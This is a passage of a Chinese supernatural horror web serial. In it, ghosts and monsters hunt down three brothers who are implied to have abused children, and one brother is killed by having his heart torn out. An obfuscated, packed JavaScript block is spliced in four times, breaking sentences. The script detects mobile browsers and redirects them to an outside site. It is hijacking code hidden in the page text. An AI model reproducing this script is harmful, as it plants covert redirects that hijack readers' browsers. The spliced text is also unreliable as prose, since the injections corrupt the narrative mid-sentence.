马蒂亚斯目光空洞地从红酒塔上拿起一杯酒,无知无觉地浅啜一口,甘甜的酒香充斥鼻腔,酒香里掺着的一点若隐若现的腥气在他察觉之前就已经消散无踪了。 马蒂亚斯鬼使神差地将酒杯凑到唇边,又喝了一口。 这并非玛门的道具,而是乌瑟利安家族酒窖中上好的陈年佳酿。 在科技并不发达、制度也相对混乱的古老岁月里,乌瑟利安家族曾经用它诱骗到了很多猎物。 但它其实又和玛门有一点儿关系,因为乌瑟利安家族在酿酒时曾向撒旦祷告,请求撒旦往酒中注入七宗罪的原核,玛门所代表的贪婪正是其中之一。 七宗罪始终与人性纠缠,只有极少数最高尚的灵魂可以免俗。所以当人们饮下这种红酒,少说也会有一两个弱点被激发。 马蒂亚斯喝下第三口酒,身后传来一个声音:“马蒂亚斯,是你吗?” 他怔怔转身,身后是个金发碧眼的女人,身上穿着淡蓝色的礼服。 “萨宾娜?”马蒂亚斯马上说出了她的名字,满眼惊喜。 这是他中学时暗恋的同学,她美丽且优秀,每个人都知道他喜欢她,他们也一度相处得不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227399|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来,转折是在什么时候呢?是在毕业舞会的前夕。 他本来会成为她的舞伴的,但她偶然在他电脑中看到了那些小孩子的照片和视频,她怒斥他变态、恶心,他拼命解释自己只是看看,没有伤害任何人,可她指着电脑咆哮说:“你想过这些孩子是在什么样的情况下被拍摄了这些东西吗?你怎么有脸说没有伤害任何人!” 之后她摔门而去。在毕业舞会上,她有了新的舞伴,毕业之后他就再也没有见过她。 现在,她重新出现了。 马蒂亚斯喜不自胜,更令他欣喜的是,萨宾娜主动拉住了他的手:“马蒂亚斯,我一直很想你。”她脚步轻快地拉他走出舞池,他跟着她,脑子都是懵的。 因此他完全没有意识到,他已经走到了卧室外的阳台上。 萨宾娜在阳台围栏前停住脚步,在马蒂亚斯眼中,前方仍是广阔的宴会厅。 萨宾娜欢快地指向不远处的糕点台:“马蒂亚斯,帮我拿块蛋糕好吗?我的裙子不太方便。等我吃完糕点,我们就去跳舞。”她忽而凑近了几寸,动听的声音掺着甜丝丝的香气一起萦绕着他,“毕业时的那支舞。” 马蒂亚斯怦然心动,连声答应:“好……好!”说完,他大步踉跄地走向糕点台。 在他触及阳台围栏的刹那,“萨宾娜”的目光骤然冷冽,她不假思索地伸手,马蒂亚斯眼前场景倏忽扭曲消散。 在剧痛袭来之前,他感觉到自己正不受控制地向下坠落,但不及看清眼前是什么就狠狠砸了下去。 -10%。 “喀拉——”阳台下的烧烤炉被砸碎,烤炉的铁片、烤串的铁签刺进马蒂亚斯的身体。炭火也滚落出来,迅速点燃他的衣衫。 -20%; -10%; -10%…… 重伤让人陷入惊恐,SAN值狂掉。 “啊啊啊救命!!!”马蒂亚斯不顾剧痛满地翻滚试图将火熄灭,不远处的院墙上,那月轮般的白光又出现了,男子线条优美的身形也再度出现在其中。 当马蒂亚斯终于熄灭身上的火焰停止翻滚,最先映入眼帘的是一双黑得发亮的崭新皮鞋,接着他视线上移,看到了款式传统的燕尾服。 再往上移…… 是一张清俊矜贵的面孔,就像欧洲童话里走出来的优雅王子……只是多了两颗无可忽视的獠牙。 “你……你……”马蒂亚斯的嘴唇剧烈颤抖,连他自己都分不清是因为恐惧还是因为身上的伤势。 在艾麦里克身后,无处蝙蝠再次成群结队地袭来,这次它们发疯般地袭向了马蒂亚斯,扯拽他破损的衣服和烧焦的头发。 -10%。 “走开!走开啊!”马蒂亚斯拼命挣扎,蝙蝠们突然像听懂一样四处逃窜,但他还没来得及庆幸,面前优雅的吸血鬼就拽住他的衣领,毫不费力地将他提了起来。 “你你你你……”马蒂亚斯吓得向被灌注了水泥,全身无法动弹,眼睁睁看着男子狞笑着露出獠牙,凑向他的脖颈。 -10%。 “呲。”他听到尖牙刺穿皮肉的轻响,感受到并不剧烈但又很真实的痛,甚至听到鲜血流进对方口中的声音…… -10%。 “马蒂亚斯!!!”约翰刚冲到三楼窗边就目睹这一幕,当机立断地端枪扣动班级。 “砰!”子弹击穿艾麦里克的肩头,不等他开第二枪,吸血鬼维莱从二楼阳台纵身跃起,扑进窗户,按住约翰。 10.收拾全员恶人的一家(4) “怪物!!”站在房门口的尤利安和亨利克被这一幕吓蒙了,嘶吼着匆忙将子弹上膛,“砰砰”开出两枪。 楼下的院子里,艾麦里克抓住维莱扑入窗子的机会,“咔吧”一声扭断马蒂亚斯的脖子,骤闻楼上枪声四起,艾麦里克退开几步,助跑后奋起一跃! 吸血鬼有极强的奔跑和跳跃能力,艾麦里克轻而易举地窜上二楼露台,脚下才触及露台边缘就再度跃起,跃入三楼主卧窗户。 主卧内,约翰刚趁弟弟们那两枪蹬开吸血鬼维莱,正落荒而逃,突然跳进来的又一个吸血鬼令他惨叫到破音。尤利安与亨利克也不敢恋战,三人一同向下跑去。 艾麦里克顾不上追他们,扶住维莱,用传音符向队友们传话:“维莱重伤,我需要扶他回车上。爱丽丝,开个幻境拖住他们。” 维莱重伤。 悠哉喝啤酒的阿坠和司凌蓦地从坟头上站起来,司凌眉心深蹙出一道细线,阿坠捏着传音符,紧张道:“爱丽丝,你能行吗?” “没问题。”爱丽丝的声音还算轻松。她想,艾麦里克带维莱从三楼跳下去,再从院子里走到大巴,最多也就几分钟时间,她只要保证几分钟内不让他们和三兄弟碰面就行。 事实上,她觉得拖他们一个小时的难度也不是很大,她也有自信杀掉其中的一两个。 于是当三兄弟跌跌撞撞地跑到二楼的时候,发现二楼的场景变了。原先切分成多个房间的房屋格局消失不见,整个二楼变成了一个完整的空间,像个小小的剧场,不远处有个木质小舞台,只是没有观众席。 一束洁白的灯光打在木质小舞台的正中央,但其中并没有人,光束中只有细小的粉尘安静地飘着。 三兄弟警惕地停住脚步,一连串的惊吓让他们疑神疑鬼。三人背对背地围成一个圈,一边向舞台方向挪动,一边神经紧绷地准备迎接各种意外——尤其是楼梯方向,想到那里随时可能窜下来一个吸血鬼或者丧尸,面朝楼梯的约翰搭在扳机上的手指颤抖不止。 屋外院中,艾麦里克已经扶着维莱平稳地落在院子里,维莱伤得不轻,虽然吸血鬼拥有过人的愈合力,但心脏遭受贯穿伤依旧不容小觑。 大巴停在院外右侧十几米远的位置,艾麦里克将维莱扶出院子,脚下刚往右一拐,脸对脸地撞上一个双目圆睁的纸人。 ……惟妙惟肖的纸人和昨夜包围他的木偶画风别无二致,艾麦里克应激地僵住,接着却见纸人僵硬地伸出手,帮他扶住了维莱。 “谢谢……”艾麦里克在恐惧中勉强维持住了良好的家教,他举目看向马路对面的墓地,夜色中弥漫的雾气里,他只能看到司凌身穿黑色长风衣的大致轮廓。但她显然将他看得一清二楚,因为她友好地朝他招了招手。 “……谢谢。”艾麦里克呢喃着又重复了一遍,与纸人一起扶着维莱走向巴士。 二楼,当三兄弟离舞台还有三米远的时候,那束光里突然出现了人。 爱丽丝是五年前在上完芭蕾课回家的路上被人杀死的,那时她九岁,现在她的形象仍旧维持了那时的样子,身上也依旧穿着带有一圈白色纱质裙边的舞蹈服。 她在光束中垂眸静立,然后音乐响了起来,是那首举世闻名的《致爱丽丝》。 美妙的音乐让人紧张的神经舒缓,这样有助于帮艾麦里克他们拖延时间,也更有助于接下来造成更猛烈的惊吓。 同时,艾麦里克尚不及撤掉的红酒也依旧发挥着作用,甜丝丝的酒香直入人心,一缕缕地挑动人性深处的弱点。 爱丽丝随着音乐翩翩起舞,这画面看似美好,但如果细看,就会发现她瞳仁猩红,嘴角又苍白得不像活人。 当音乐来到第一个高潮,爱丽丝开始旋转。在很多舞种中,舞者会在旋转时用“留头+甩头”的小技巧防止头晕,厉害的舞者能这样转上几百圈。 而爱丽丝,她不用“甩头”…… 从她第一圈旋转开始,她就一直盯着三个人,猩红的眼与苍白的纯勾着诡异的微笑,脑袋分毫不动,身体灵巧地转了一圈又一圈。 这场景别提有多掉SAN了。 在爱丽丝并不算长的厉鬼生涯里,这招屡试不爽,直接被吓晕的都不在少数。 爱丽丝于是静等着眼前的目标发出惨叫,心里已经在窃笑着好奇他们的SAN值会掉多少, 然而—— 爱丽丝转到第四十多圈,听到三兄弟之一发出惊喜的声音:“是个小女孩?” 爱丽丝:“?” “哈哈……是个小女孩!”有人附和道。 “不不不,是个小女鬼。”第三个人纠正。 虽然说着“女鬼”,但这声音听起来却更兴奋。 爱丽丝心觉不对,停止舞蹈,身体弯折成下腰的姿势,头却是正向的,脸上依旧维持着阴恻恻的笑容。 ……半分钟后,众人都从传音符里听到爱丽丝的尖叫:“啊——!!!” “走开!走开!!!” “你们不要过来啊!!!” 接着是伊丽莎白的声音:“我们马上来救你!” 又听到爱丽丝大骂:“艾麦里克你¥%#……弄那么多红酒你倒是收起来!!!你¥%#@……”骂得很脏。 刚学英语没几天的司凌第一次听到如此丰富的英文骂街,不禁嘴角抽搐。 过了好一会儿,她深吸了口气,不无复杂道:“……他们都发现她是鬼了,还敢?” 就算有红酒法力的影响,胆子也很大啊。 阿坠干笑:“要么说地狱空荡荡,魔鬼在人间呢……” 别墅中,爱丽丝作为无实体鬼魂虽然能轻松闪避三兄弟的追逐,但三人的举动还是让她毛骨悚然。 两分钟后,伊丽莎白和狼人们咆哮着冲下楼梯,三兄弟终于在狼嚎中清醒过来,大叫着开枪躲闪。 爱丽丝赶紧收掉幻境让他们看到通往一楼的楼梯,三兄弟落荒而逃,伊丽莎白和狼人们紧追其后。 “看我撕碎他们!”狼人老大芬瑞克低吼道。 三人率先冲向院子,慌不择路地冲向马路对面雾气浓重的荒野,伊丽莎白和狼人们穷追不舍,但追到马路正中时,“嗵——”跑在最前的芬瑞克迎头撞上了什么,捂住额头发出惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230405|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫。 三个同伴连忙刹住脚,他们很快就意识到了是什么拦住了去路,茫然扭头:“路西法校长?” 路西法站在他们身后,摊了摊手:“学院任务规则,除非有言在先或对方需要帮助,否则禁止其他人的任务范围。” 伊丽莎白茫然不解:“可对面……” “对面原本连任务范围都不是。”路西法抬眸静静看着几米外浓重的雾气,“连结界都是两位东方女士自己延展的,我看你们还是不要过去了。” 四人面露愕色,相互对视了几个来回,最终只能放弃追逐,回到别墅里,期待斯特曼三兄弟一会儿还能折返别墅。 巴士里,维莱已经在路西法和纸人的帮助下简单处理了伤口,那纸人完成任务后法力就消散了,变成了薄薄一片剪纸飘落在地。 艾麦里克俯身将它捡起来,一眼就看出这并非出自玛门之手的道具,心底震荡开一股惊意。 “殿下。”维莱坐在临近巴士中部车门的座位上,虚弱地捂着穿胸而过的伤口,“请回去继续任务吧,我没事。” “不。”艾麦里克拒绝了这个建议,沉默地又看了看手里那个连掌心都占不满的白色人形剪纸,目光飘向窗外,“我想她不会留活口给我们了。” “……什么?”维莱神色一滞,随着艾麦里克投向窗外的目光也望出去。 夜色之下,荒野上飘着的浓重雾气被月光照得发白,但雾气里一切平静,别说斯特曼三兄弟,就连先前一直坐在墓地外围的司凌和阿坠都已不见身影。 维莱完全想象不出接下来会发生什么。 数米之外,斯特曼家幸存的兄弟三人不知不觉已跑到雾气深处,四周围都是形状各异的墓碑,在这样的夜色里让人没由来的瘆得慌。 但至少暂时没再见到什么鬼怪。 跑得气喘吁吁的三人不约而同地停下脚步,约翰弯腰支着膝盖,边喘息边骂:“这是什么鬼地方!真是活见……” 话音未落,曲乐四起。 是对他们而言完全陌生的音乐风格,起初只有鼓点,掺杂某种金属敲击的声音,回荡在寒凉的薄雾里,空灵得让人不适。 突然间,雄壮的声音突然穿插进来,似乎与之前的几种乐器格格不入,但又融合得浑然天成,苍劲悠扬里裹挟着浓郁的凄怆,笼罩整个夜色。 ——如果兄弟三人稍稍了解过瓷国文化,就会知道这个声音来自于唢呐,在传统的喜事里常见。 红事白事,都是喜事。 他们隐隐看到不远处的雾气里有人影晃晃悠悠地正接近,离得近一些,他们看到了两列整齐的队伍。 所有人都穿着白衣,最前面的两个手持白幡,往后几个都拿着乐器。 再往后,一个巨大的方形黑影慢慢从物种显形,虽然中西文化多有不同,但三人还是很快就看出……那是一口棺材。 接着,离得再近一些…… 他们看清了那些人的面孔。 手持白幡的、吹唢呐的、敲铜锣铜镲的……都长着同一张脸。 同一张用白纸与竹篾糊成、黑眼红唇的脸。 11.收拾全员恶人的一家(5) 夜色下的阴冷白雾里出现似人非人的抬棺者……文化差异丝毫不影响恐惧感的共鸣! 斯特曼三兄弟毛森骨立,潜意识里想要逃跑,脑子却像宕机一般无法控制身体。 直到送葬的队伍中有人僵硬地扬手洒出一把洁白的纸钱,一片纸钱飘飘悠悠地随风落到尤利安脸上。尤利安触电般地打了个激灵,惊声尖叫:“啊——!!!” 约翰与亨利克被这尖叫触醒,三个人不约而同地脚下一软,连滚带爬地转身奔逃。 又一阵纸钱飘落,如雪片般纷飞着遮挡了他们的视线……谁也说不清发生了什么,明明转身逃命的三兄弟惊悚地发现自己跑进了送葬的队伍中。 跑在最前面的尤利安眼看最前面打白幡的纸人近在咫尺,连忙刹住脚步,但已来不及了。 他趔趄着撞在纸人身上,纸人硬滑的质地刮过额头,尤利安不寒而栗。 他跌坐在地,惊慌失措地想要躲闪,但一刹那间,所有纸人都消失了。只有那巨大的黑木棺沉沉地砸到地上,由于重心不稳,整个木棺直立起来,棺盖缓缓向下拍倒。 “不不不……”尤利安蹭着地惊恐躲闪,终于在棺盖砸下来的最后一刻躲开了,棺盖的边缘堪堪落在他的脚前。 可紧接着…… “啊!!!”惊魂未定的尤利安在兄弟们的尖叫中惊然抬头,身穿白色连衣长裙的女人正从棺材中迎面飘来! 她双脚离地,头发几乎完全遮挡了面孔,尤利安只从发丝间的缝隙间看到一只血红阴森的眼睛。 她的容貌尤利安是完全看不清的,枯草般的头发又是在白人身上很少见的黑色。但不知为什么,尤利安想到了约翰故去的妻子,也就是艾利欧特和辛西娅的母亲,汉娜。 因为……在艾利欧特六岁的生日聚会上,他曾在艾利欧特去卫生间时忍不住悄悄跟上了他,想哄他玩一些“游戏”,但被汉娜发现了。 ……其实汉娜发现他的时候可能并没有多想,但他惊慌失措,于是汉娜立刻意识到了不对,怒吼着赶走了他。在之后一年多的时间里,汉娜都没再让他进过家门,也不允许约翰与他联系。 他对此怀恨在心,在汉娜难产离世后,也是他最先试探、怂恿,让兄弟们一起对艾利欧特下了手。 所以现在,尤利安看到女鬼很难不心虚。 “汉汉汉……”他嘴唇剧烈颤抖,连一个完整的名字都说不出来,更动弹不了,眼看着双脚空悬的女鬼幽幽飘到他眼前。 然后,她的鞋尖触到了他的额头,冰凉的触感让尤利安一下跳了起来,大叫着不顾一切地逃命。 “尤利安?” “尤利安!” 约翰和亨利克纷纷喊他,但无济于事。悬浮在半空中的司凌撇了他们一眼,心念微动,身形消失。 刚才他们三个在别墅里虽然重伤了吸血鬼维莱,还吓到了爱丽丝,但自己也多少掉了SAN。 再加上司凌出场的这一波恐怖营造,现在约翰和亨利克的SAN值掉到了70%,尤利安是60%。 当然先杀最好杀的! 司凌扭过头,视线轻而易举地穿过浓重的雾气,找到尤利安的身影。 她饶有兴味地盯着他落荒而逃的样子,嘴角勾着笑,眼底却是冷的,像是在看猎物。 “阴烛锁阳,青符画圄。”司凌启唇施咒,一缕不起眼的黑雾疾速窜过浓雾,击中尤利安后颈,隐没无踪。 尤利安在雾气里跌跌撞撞地逃命,可视范围只有几米,全然不知鬼打墙已悄无声息地开启。 他拼尽力气地奔跑,以为自己正跑向别墅,直到参天巨树裸露地面的粗壮根系绊到他的脚。 “啊!”尤利安向前扑倒,四周围的雾气像是有思想一样,恰到好处地散开了一圈。 可视范围瞬间延展到十几米,于是尤利安惊觉自己跑反了方向。此时,他已置身于弗莱堡市那片举世闻名的黑森林之中,在苍茫的夜色里,四周都是嶙峋古怪的树影。 他慌乱地四顾,试图寻找离开树林的方向。可他已跑得很深了,周围的情景都是一样的。 “不……不不不……”尤利安的支撑逐渐瓦解,他绝望地呢喃自语。 远处的林间……传来女人缥缈空灵的笑音:“哈……哈哈哈哈……” 声音从尤利安左侧飘来,他如惊弓之鸟一般立刻面向左侧,步步后退。 可突然间,那笑音又从身后袭来,带着阴恻恻的寒气触在耳际:“哈哈哈……” 尤利安再次弹起来转身,目光所至之处空空如也。 尤利安惊疑不定地四处张望,只觉阴风阵阵。冷汗不知不觉浸透他的衣衫,又加深了这种阴冷。 SAN值-10%。 安静了一阵,女人的声音又飘来了,这回是哭声,呜呜咽咽,凄惨悲凉。 时而在树林深处,时而在他耳边。 ……在那声音突然凑近的时候,尤利安总会感觉那长发间露出血红眼睛的女鬼就在他脸侧幽幽望着他,但他什么都看不到。 SAN值-10%。 当这哭声也散去的时候,他终于见到了又一个人影。 ——在大约二三十米外,有个小男孩正蹲在地上玩,男孩背对着他,这让人不安,但至少脚是踩在地上的,而且穿着再普通不过的白色衬衫和卡其色背带裤。 这种正常的“人味”对尤利安而言犹如救命稻草,他重重输出一口气,举步跑向男孩:“喂,打扰一下!” “请问怎么走出树林?” “我该往哪个方向走?” 他边跑边问,男孩始终蹲在那里捣鼓地上的东西,对他的疑问完全不作理会。 于是在离得够近的时候,尤利安伸手拍向男孩的后背:“喂,抱歉——” “什么事?”男孩蹲在地上的身体仍然没动,脑袋扭转180度望向尤利安。 “啊!”尤利安吓得向后一跌,男孩金发碧眼的面孔让他噤若寒蝉,“艾……艾利欧特!” “尤利安叔叔。”脑袋反拧的艾利欧特露出天使般的笑容,然后他起身走向尤利安,“尤利安叔叔,我好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238144|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想你!” “啊啊啊啊啊!!!”尤利安想跑,但双腿的颤抖让他再度摔在地上。艾利欧特步步逼近,白皙的皮肤上渐渐泛出青色的尸斑,他依旧那样天真烂漫地笑着,双臂也向后背反拧过来,伸向尤利安:“叔叔陪我玩,就像以前一样……” SAN值-20%。 “滚!滚开啊!”尤利安抱头乱踹,倏忽一阵风响,再抬头时,眼前已不见艾利欧特的身影。 尤利安才松一口气,艾利欧特幽幽的声音又出现在背后:“叔叔……” 紧紧贴在背后,还有一股阴凉隔着衣服蹭在他的背上。 尤利安浑身僵住,想回头又不敢。忽然觉得腰间被什么东西勒得一紧,他圆睁地双目一寸寸低下去,发现一双青白的小手紧紧抱在他的腰上。 …… 尤利安听到自己的呼吸声,还听到自己的牙齿咯咯作响。 艾利欧特在他身后咯咯笑起来,声音动听无邪。 环在他身前的小手开始向上摸索,从腰际摸到胸口,最终探到他的脸上。 “不……不……”尤利安感受到死亡逼近,颤栗着摇头。然后一种诡谲的感觉出现了……他没有感觉到痛,却觉得那只手正按入他脸上的皮肤、骨骼,正触及大脑与神经。 他感觉它在其中探寻着,好像并没有想要他的命,冷涔涔的气息却带来极重的不适。 此时若从旁观视角去看尤利安,也的确能看到他五官之下印出了凹凸不平的手掌轮廓。 ——这招其实能轻而易举地摧毁一些小鬼的魂魄,令他们灰飞烟灭。因此,以前从未杀过人的司凌以为它也能直接杀人来着,现在看来玛门说得对,鬼想杀人是受约束的。 好在这一招至少还能近一步激发惊恐,司凌眼看尤利安的SAN值再度降低10%。 只剩最后10%了。 忽而一瞬间,尤利安感觉一切不适都消失不见了,背后也不再有艾利欧特的笑音。 他连忙低头,双手在身前身后乱摸一番,确定不再有什么鬼手的存在,如蒙大赦地松气抬头。 刹那间,女鬼惨白的面孔与他四目相对! 尤利安完全窒息了,在接下来的几秒里,他进一步看清了面前的女鬼。 她就是那个双目血红的女鬼,此时他认出她不是汉娜了,可这并不妨碍她的恐怖。 她的双眼在乌青中凹陷,惨白的皮肤上有黑色的裂纹,脑袋是正对着他的,脖子以一种奇异的弧度弯折九十度,令穿着长裙的身体完全飘在身后。 她唇角渗着阴恻恻的笑,歪着头好奇地端详他,就好像他是她见到的第一个人类。 尤利安在她的注视中一动也不敢动。 ……原来会对幼童下手的人,也怕鬼索命啊! 司凌戏谑地一笑,悍然伸手抓向尤利安的胸口。 仅剩的10%SAN值已完全不足以尤利安的□□抵挡来自于厉鬼的袭击,她轻松抓住他的心脏。 苍白的手幽幽将那颗仍在有力跳动的心脏举到了尤利安面前。 12.收拾全员恶人的一家(6) 在司凌攥爆尤利安心脏的一瞬,就连身在别墅里的鬼怪都听到了尤利安最后的惨叫。 司凌嫌恶地将心脏的残骸扔在一旁,身体化为虚影,沾在手上的血浆瞬间完全脱落,在地上溅成一滩。 明天早上,警方会来收拾这个血腥的凶案现场。司凌猜想他们在很长一段时间里都会对尤利安的死因感到无比费解,最终也只能归咎于野兽袭击之类的原因。 墓地里,约翰和亨利克在接连的惊吓中浑身发软,尤利安跑远后,他们就一直背靠背坐在地上瑟瑟发抖。 直到听见尤利安的惨叫。 “尤利安!”亨利克一下子跳起来,他顺着惨叫传来的方向望过去,看到的却只有浓重的雾气。在夜色里,这样的浓雾好像将天地都遮蔽了,亨利克觉得自己似乎被装在了一个密封的罐子里,压抑得喘不过气。 “出事了……尤利安出事了!”亨利克有些神经质的自言自语。 约翰强撑着从地上爬起来,他脑子已经懵了,完全不知道该怎么办,刚才的恐怖经历也让他不敢在这浓雾里乱走 兄弟两个焦急又不知所措,墓地里忽然掠起一阵风,起初只是微风,但很快就刮得急了起来,浓雾都被吹散,周遭的墓园、地上的草叶枝桠,远处的森林、街边的路灯,还有对面的别墅都清晰地映入眼帘。 约翰和亨利克紧绷的神经倏尔一松,亨利克立刻走向黑森林:“快,我们去看看尤利安怎么了!” “等等!”约翰一把抓住他的手腕。 “什么?”亨利克转过脸,约翰陷入沉默。 他也希望尤利安没事,但他并不想自己踏足那片不知藏着什么的森林。于是约翰思索了一会儿,神情严肃地望向亨利克:“这个地方太危险了,我们越快离开越好,所以我们要效率高一些才行。所以,这样吧——你去看看尤利安怎么样了,我去找警察来。” 他并没有说谎——约翰自欺欺人地想。 在来别墅的路上他确实见到警亭了,离这里只有几百米,很容易找到人。 约翰很好地说服了自己。亨利克想到要自己去那片黑森林,心里发怵,但约翰的话很有道理,他也希望能尽快逃离这片鬼地方。 于是亨利克强撑起心力,点了点头:“好,那一会儿……”他本想说“别墅见”,可余光扫过那别墅的瞬间又怂了,只能说,“一会儿路边见吧。” “好。”约翰见他同意,微微一笑,拍了拍亨利克的肩头便转身离开了。 几十米外,司凌与阿坠都以仅鬼怪可见的正常灵体状态悬浮在半空,将约翰和亨利克的动向尽收眼底。 阿坠盯着走向黑森林的亨利克,跃跃欲试:“我来试试吧……我有灵感了!” “噗……”司凌笑出声,好笑地看看阿坠,“你管这叫‘灵感’?”接着她点头,“去吧,解决不了就喊我好了。” 阿坠深呼吸,跟在亨利克身后幽幽飘着。 她刻意逼出一股阴气,亨利克无形中感觉到一阵凉,他猝然回头,但身后一切正常。阿坠窃笑一声,等他转过脸继续前行,阴气再度袭向他的身后。 亨利克不敢掉以轻心,一次次转身,始终没有看到任何东西。但他心里还是渐渐慌了,加快脚步赶往黑森林寻找尤利安。 阿坠在他踏入黑森林的同时,化出了身形。 她的修为远不及司凌,无法在男女老幼之间肆意切换,于是挑了个最拿手的,变成一个十五六岁的女孩,身穿白色衣裙,从亨利克身后悄无声息地飘过。 亨利克再一次猛然回头,仍然没有看清什么,只有余光捕捉到阿坠掠过去的一抹影子,顿时汗毛倒立。 阿坠牢牢记得司凌说的:有时只让他们感受到你的存在,不让他们看清你,他们会更加害怕。 ——在司凌的鬼龄还只有几千岁的时候,她经常拿这招吓唬试图挑衅她的几百岁小鬼。 后来这招越来越用不上了,因为她身上的阴气太重,只要她不刻意压制这种阴气,哪怕只是稍稍释放出一缕,小鬼们感知到她的存在也会像面对天敌一样四散而逃,她的生活就轻松了很多。 现在,阿坠有样学样。 在亨利克双目大睁试图捕捉危险的由来时,他看到地上厚厚的草叶中出现了脚印。 ……脚印是一个个出现的,由远及尽。除了看到脚印,他还能听到脚步踏过草叶时柔软的响声,显然有什么东西在步步逼近。 还有两三米远的时候,亨利克不管不顾地拼力向树林深处跑去:“别跟着我!”他大吼,“别跟着我!” SAN值-10%。 凛冽的风声卷起草叶,一路跟着亨利克直入森林。 风声里飘起女孩子轻细嗓音吟唱的歌谣①: Ein M?nnlein steht im Walde Ganz still und stumm, (有一个小娃娃站在树林中,) Es hat von lauter Purpur Ein M?ntlein um. (它穿着一身紫红色的大斗篷。) Sagt, wer mag das M?nnlein sein, (猜猜吧,娃娃他是谁,) Das da steht im Wald allein Mit dem purpurroten M?ntelein? (穿着一身紫红色的大斗篷。) 歌声缥缈清幽,带着一点苍凉的沙哑。 这是一首诞生于两个世纪前的德国歌谣,对亨利克而言并不陌生。 但在眼下这种氛围里,这首歌谣的出现让亨利克遍体生寒。 他忍不住地幻想森林里出现莫名其妙的小娃娃,幽幽地盯着他。 在这种脑补里,他第一次感觉娃娃原来是一种这么诡异的东西!像人但线条又过于僵硬的面庞、圆得不正常的眼睛,空洞的目光…… 他不受控制地又想起那些纸人,它们诡异笑容和幻想中娃娃的笑容重合起来,在亨利克心底激起一股恶寒。 阿坠眼看亨利克的SAN值又减了10%。 这对阿坠而言,简直是巨大的鼓舞! 她一直是高级鬼怪中垫底的存在,作为一枚玉坠,她本是美好的存在,修炼成妖的外形也过于优美。再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243440|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上她又不善于化形成凶神恶煞的样子,突然冲到人面前造成的冲击力实在一般,在周围充满丧尸、狼人这些血腥暴力型生物的时候,她一点优势都没有。 现在她才知道,原来不出现也能吓人! 短板突然被弥补的感觉让阿坠爽翻了,几秒后,她用玛门给的“百变衣”化出一件紫红色的大斗篷,出现在离亨利克几步远的地方,平静地背对着她。 “啊啊啊!!!”天知道这合着歌谣突然出现的少女对亨利克造成了多大刺激。 阿坠听到传音符里传出司凌的笑音:“你镜像一下。” 镜像? 阿坠秒懂! 她背对着亨利克飘过去,右手翻转,掐了个诀弹向亨利克。亨利克正想逃跑,忽觉什么东西正攀上小腿,低头只见地面上无端延伸出玉质的藤蔓,将他的小腿牢牢箍住。 “亨利克叔叔——”阿坠把嗓音捏得很细,“我是辛西娅呀,叔叔不记得我了吗?” “辛、辛西娅?!”亨利克惊悚地盯着她。 辛西娅是约翰与汉娜的小女儿、艾利欧特的小妹妹,今年才一岁多。亨利克对她的年龄其实再熟悉不过,因为他每天都热切期待着辛西娅长大——长大五六岁,或者至少三四岁,就会变得很“有趣”了。 他甚至早就设想过在辛西娅五岁生日的聚会上要带她玩一场什么样的“游戏”,但现在面对着身穿紫红斗篷的少女,亨利克诡异地怀疑起了自己。 辛西娅多大?一岁?还是十五六岁? 她还活着吗?亦或死了?不不不……死了的是她的哥哥艾利欧特……不,她真的还活着吗? 她怎么知道……她怎么知道他对她的意图?! 做尽亏心事,很难不怕鬼敲门。 亨利克心乱如麻地俯身狠凿脚边的玉藤,女鬼还在逼近,在离得够近的时候,他听到一声娇笑:“哦,亲爱的叔叔,我来帮你吧!” “不、不不不……”亨利克惊恐摇头,连声拒绝。 可背对他的紫红斗篷女鬼还是在他惊惧的注视中一寸寸转过身,当她完全转过来的时候,亨利克看到…… 还是一个背对他的紫红色斗篷。 “啊——!”亨利克激起一身鸡皮疙瘩。 SAN值-10%。 玉藤在这一刻适时地消失,亨利克拔腿就跑,阿坠右手掐诀:“阴烛锁阳,青符画圄!”左手的墓地幻境盒信手一抛,给亨利克来了个豪华套餐。 . 亨利克不知道自己是如何跑进另一片墓地的。 这片墓地突然出现在树林里,似乎很有年头了,陈旧的墓碑东倒西歪。 